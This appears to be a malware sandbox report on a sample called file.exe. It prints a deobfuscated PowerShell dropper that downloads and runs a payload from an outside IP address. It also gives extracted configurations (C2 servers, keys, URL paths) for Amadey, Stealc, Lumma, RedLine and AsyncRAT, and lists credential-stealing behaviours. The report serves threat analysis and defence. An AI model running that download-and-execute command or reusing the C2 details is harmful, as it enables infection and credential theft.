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15/12/2024, 23:44 UTC

241215-3rewbasqew 10

15/12/2024, 21:58 UTC

241215-1vf7fazrcl 10

General

  • Target

    file.exe

  • Size

    2.9MB

  • Sample

    241215-3rewbasqew

  • MD5

    f45da90410f7d099ab3bd1589a039a79

  • SHA1

    a7effa8c1fc9b88eea3498ed50011d7a14a7e617

  • SHA256

    4fb84272045fc39952401061f10a2ba439d2f2a7c6e30f2448b757caf731df19

  • SHA512

    577ae3d2c9f46c57ba71a9437fdf47deac865605b31f0a0a2a2caef90a4346bfa12c0894fe9c3a8dc7a602516bde33d58d483a8c5547452397f15a824c07a864

  • SSDEEP

    49152:LcjBVZDZYhTklsZHUwGemMSwvMGKuFk2PGHqv:aBVZD+NklXwG5Mf73eTHqv

Malware Config

Extracted

Language
ps1
Deobfuscated
1
# powershell snippet 0
2
$l = "(New-Object Net.We"
3
$y = "bClient).Downlo"
4
$v = "adString('http://185.11.61.104/Z.png')"
5
$f = invoke-expression "(New-Object Net.WebClient).DownloadString('http://185.11.61.104/Z.png')"|invoke-expression
6
7
# powershell snippet 1
8
(new-object net.webclient).downloadstring("http://185.11.61.104/Z.png")
9
URLs
ps1.dropper

http://185.11.61.104/Z.png

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain
1
006700e5a2ab05704bbb0c589b88924d

Extracted

Family

amadey

Version

4.41

Botnet

fed3aa

C2

http://185.215.113.16

Attributes
  • install_dir

    44111dbc49

  • install_file

    axplong.exe

  • strings_key

    8d0ad6945b1a30a186ec2d30be6db0b5

  • url_paths

    /Jo89Ku7d/index.php

rc4.plain
1
a091ec0a6e22276a96a99c1d34ef679c

Extracted

Family

stealc

Botnet

default_valenciga

C2

http://185.215.113.17

Attributes
  • url_path

    /2fb6c2cc8dce150a.php

Extracted

Family

lumma

C2

https://impend-differ.biz/api

https://print-vexer.biz/api

https://dare-curbys.biz/api

https://covery-mover.biz/api

https://formy-spill.biz/api

https://dwell-exclaim.biz/api

https://zinc-sneark.biz/api

https://se-blurry.biz/api

https://drive-connect.cyou/api

https://sordid-snaked.cyou/api

https://awake-weaves.cyou/api

https://wrathful-jammy.cyou/api

https://debonairnukk.xyz/api

https://diffuculttan.xyz/api

https://effecterectz.xyz/api

https://deafeninggeh.biz/api

https://immureprech.biz/api

https://tacitglibbr.biz/api

https://shineugler.biz/api

Extracted

Family

redline

Botnet

fvcxcx

C2

185.81.68.147:1912

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

82.64.156.123:80

Mutex

9mzImB3NUR0Q

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain
1
JHgXn4Id05CaXeEg5NaBJvoUoKInVyyL

Extracted

Family

redline

Botnet

eewx

C2

185.81.68.147:1912

Extracted

Family

stealc

Botnet

stok

C2

http://185.215.113.206

Attributes
  • url_path

    /c4becf79229cb002.php

Targets

    • Target

      file.exe

    • Size

      2.9MB

    • MD5

      f45da90410f7d099ab3bd1589a039a79

    • SHA1

      a7effa8c1fc9b88eea3498ed50011d7a14a7e617

    • SHA256

      4fb84272045fc39952401061f10a2ba439d2f2a7c6e30f2448b757caf731df19

    • SHA512

      577ae3d2c9f46c57ba71a9437fdf47deac865605b31f0a0a2a2caef90a4346bfa12c0894fe9c3a8dc7a602516bde33d58d483a8c5547452397f15a824c07a864

    • SSDEEP

      49152:LcjBVZDZYhTklsZHUwGemMSwvMGKuFk2PGHqv:aBVZD+NklXwG5Mf73eTHqv

    • Amadey

      Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    • Amadey family

    • AsyncRat

      AsyncRAT is designed to remotely monitor and control other computers written in C#.

    • Asyncrat family

    • Exela Stealer

      Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.

    • Exelastealer family

    • Lumma Stealer, LummaC

      Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    • Lumma family

    • RedLine

      RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    • RedLine payload

    • Redline family

    • Stealc

      Stealc is an infostealer written in C++.

    • Stealc family

    • UAC bypass

    • Async RAT payload

    • Grants admin privileges

      Uses net.exe to modify the user's privileges.

    • Identifies VirtualBox via ACPI registry values (likely anti-VM)

    • Blocklisted process makes network request

    • Boot or Logon Autostart Execution: Active Setup

      Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    • Command and Scripting Interpreter: PowerShell

      Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    • Creates new service(s)

    • Downloads MZ/PE file

    • Modifies Windows Firewall

    • Stops running service(s)

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Clipboard Data

      Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    • Drops startup file

    • Executes dropped EXE

    • Identifies Wine through registry keys

      Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    • Loads dropped DLL

    • Reads WinSCP keys stored on the system

      Tries to access WinSCP stored sessions.

    • Reads data files stored by FTP clients

      Tries to access configuration files associated with programs like FileZilla.

    • Reads local data of messenger clients

      Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Unsecured Credentials: Credentials In Files

      Steal credentials from unsecured files.

    • Accesses Microsoft Outlook profiles

    • Accesses cryptocurrency files/wallets, possible credential harvesting

    • Adds Run key to start application

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

    • Checks whether UAC is enabled

    • Enumerates connected drives

      Attempts to read the root path of hard drives other than the default C: drive.

    • Legitimate hosting services abused for malware hosting/C2

    • Looks up external IP address via web service

      Uses a legitimate IP lookup service to find the infected system's external IP.

    • Network Service Discovery

      Attempt to gather information on host's network.

    • Power Settings

      powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    • An obfuscated cmd.exe command-line is typically used to evade detection.

    • Drops file in System32 directory

    • Enumerates processes with tasklist

    • Hide Artifacts: Hidden Files and Directories

    • Suspicious use of NtSetInformationThreadHideFromDebugger

    • Suspicious use of SetThreadContext

    • UPX packed file

      Detects executables packed with UPX/modified UPX open source packer.

MITRE ATT&CK Enterprise v15

Tasks

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